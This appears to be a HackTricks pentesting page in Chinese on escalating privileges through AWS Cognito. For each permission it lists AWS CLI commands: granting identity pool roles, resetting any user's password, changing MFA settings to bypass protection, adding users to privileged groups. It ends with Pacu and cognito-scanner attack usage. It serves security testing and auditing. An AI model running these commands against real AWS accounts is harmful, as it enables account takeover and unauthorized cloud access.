AWS - Cognito Privesc

支持 HackTricks

Cognito

有关 Cognito 的更多信息,请查看:

从身份池收集凭证

由于 Cognito 可以向 已认证未认证 用户 授予 IAM 角色凭证,如果您找到应用程序的 身份池 ID(应该是硬编码在其中),您可以获得新的凭证,从而实现权限提升(在您可能之前没有任何凭证的 AWS 账户内)。

有关更多信息,请 查看此页面

潜在影响: 直接权限提升到附加给未认证用户的服务角色(可能也包括附加给已认证用户的角色)。

cognito-identity:SetIdentityPoolRoles, iam:PassRole

通过此权限,您可以 授予任何 Cognito 角色 给 Cognito 应用的已认证/未认证用户。

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

如果 Cognito 应用 没有启用未认证用户,您可能还需要权限 cognito-identity:UpdateIdentityPool 来启用它。

潜在影响: 直接提升到任何 Cognito 角色。

cognito-identity:update-identity-pool

拥有此权限的攻击者可以设置一个他控制的 Cognito 用户池或任何其他身份提供者,在那里他可以登录 以访问此 Cognito 身份池。然后,只需在该用户提供者上 登录 就会 允许他访问身份池中配置的认证角色

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

这也可以滥用此权限以允许基本身份验证

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

潜在影响:破坏身份池中配置的经过身份验证的 IAM 角色。

cognito-idp:AdminAddUserToGroup

此权限允许将 Cognito 用户添加到 Cognito 组,因此攻击者可以滥用此权限将其控制下的用户添加到具有更好权限或不同 IAM 角色的其他组中:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

潜在影响: 提升权限到其他Cognito组和附加到用户池组的IAM角色。

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

拥有这些权限的攻击者可以创建/更新组,并使用被攻陷的Cognito身份提供者可以使用的每个IAM角色,使被攻陷的用户成为该组的一部分,从而访问所有这些角色:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

潜在影响: 提权到其他Cognito IAM角色。

cognito-idp:AdminConfirmSignUp

此权限允许验证注册。默认情况下,任何人都可以登录Cognito应用程序,如果不加以限制,用户可以使用任何数据创建帐户并通过此权限进行验证。

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

潜在影响: 如果您可以注册新用户,则对经过身份验证的用户的身份池 IAM 角色的间接权限提升。能够确认任何帐户会导致对其他应用功能的间接权限提升。

cognito-idp:AdminCreateUser

此权限将允许攻击者在用户池中创建新用户。新用户被创建为启用状态,但需要更改其密码。

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

潜在影响: 直接提升到身份池 IAM 角色的认证用户。间接提升到其他应用功能,能够创建任何用户。

cognito-idp:AdminEnableUser

此权限可以在非常边缘的情况下提供帮助,攻击者发现了一个禁用用户的凭证,并且他需要重新启用它

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

潜在影响: 对于经过身份验证的用户,间接提升到身份池 IAM 角色和用户权限,如果攻击者拥有禁用用户的凭据。

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

此权限允许使用 方法 ADMIN_USER_PASSWORD_AUTH** 登录。** 有关更多信息,请访问链接。

cognito-idp:AdminSetUserPassword

此权限将允许攻击者 更改任何用户的密码,使其能够冒充任何用户(不启用 MFA 的用户)。

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

潜在影响: 直接的权限提升,可能影响任何用户,因此可以访问每个用户所属于的所有组以及访问身份池认证的 IAM 角色。

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings:攻击者可能会滥用此权限,将其控制的手机设置为 用户的 SMS MFA

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: 类似于前一个权限,此权限可用于设置用户的 MFA 偏好,以绕过 MFA 保护。

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: 类似于前一个权限,此权限可用于设置用户池的 MFA 首选项,以绕过 MFA 保护。

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: 也可以更新用户池以更改 MFA 策略。 在这里查看 cli

Potential Impact: 间接的权限提升,可能针对攻击者知道凭据的任何用户,这可能允许绕过 MFA 保护。

cognito-idp:AdminUpdateUserAttributes

拥有此权限的攻击者可以更改其控制下用户的电子邮件或电话号码或任何其他属性,以尝试在基础应用程序中获得更多权限。 这允许更改电子邮件或电话号码并将其设置为已验证。

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

潜在影响: 使用 Cognito 用户池的基础应用程序中可能存在间接的权限提升,基于用户属性授予权限。

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

拥有此权限的攻击者可以创建一个新的用户池客户端,其限制低于现有的池客户端。例如,新的客户端可以允许任何类型的方法进行身份验证,没有任何秘密,禁用令牌撤销,允许令牌有效期更长...

如果不是创建一个新客户端,而是修改一个现有的客户端,也可以做到这一点。

命令行(或 更新命令)中,您可以查看所有选项,检查一下!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

潜在影响: 通过创建一个放宽安全措施的新客户端,可能间接提升对用户池使用的身份池授权用户的权限,使攻击者能够使用他能够创建的用户登录。

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

攻击者可以利用此权限通过上传包含新用户的csv文件来创建用户。

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(在创建新的导入作业的情况下,您可能还需要 iam passrole 权限,我还没有测试过)。

潜在影响: 直接提升到经过身份验证的用户的身份池 IAM 角色。间接提升到其他应用功能,能够创建任何用户。

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

攻击者可以创建一个新的身份提供者,从而能够通过该提供者登录

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

潜在影响: 直接提升到身份池 IAM 角色的认证用户。间接提升到其他应用功能,能够创建任何用户。

cognito-sync:* 分析

这是 Cognito 身份池角色中默认非常常见的权限。即使权限中的通配符看起来总是不好(特别是来自 AWS),给定的权限从攻击者的角度来看并不是特别有用

此权限允许读取身份池中的用户信息和身份 ID(这不是敏感信息)。 身份 ID 可能有 数据集 分配给它们,这些是会话的信息(AWS 将其定义为 保存的游戏)。这可能包含某种敏感信息(但概率相当低)。您可以在 枚举页面 找到如何访问这些信息。

攻击者还可以使用这些权限来 注册自己到一个 Cognito 流,发布这些数据集的更改在 Cognito 事件上触发的 lambda。我没有见过这种用法,我也不期望这里有敏感信息,但这并不是不可能的。

自动化工具

  • Pacu,AWS 利用框架,现在包括 "cognito__enum" 和 "cognito__attack" 模块,自动枚举账户中的所有 Cognito 资产并标记弱配置、用于访问控制的用户属性等,同时还自动创建用户(包括 MFA 支持)和基于可修改自定义属性、可用身份池凭证、可假设角色的 ID 令牌等的权限提升。

有关模块功能的描述,请参见 博客文章 的第 2 部分。有关安装说明,请参见主 Pacu 页面。

用法

示例 cognito__attack 用法,尝试用户创建和针对给定身份池和用户池客户端的所有权限提升向量:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

示例 cognito__enum 用法,以收集当前 AWS 账户中可见的所有用户池、用户池客户端、身份池、用户等:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner 是一个用 Python 编写的 CLI 工具,实施对 Cognito 的不同攻击,包括权限提升。

安装

$ pip install cognito-scanner

用法

$ cognito-scanner --help

有关更多信息,请查看 https://github.com/padok-team/cognito-scanner

支持 HackTricks

Last updated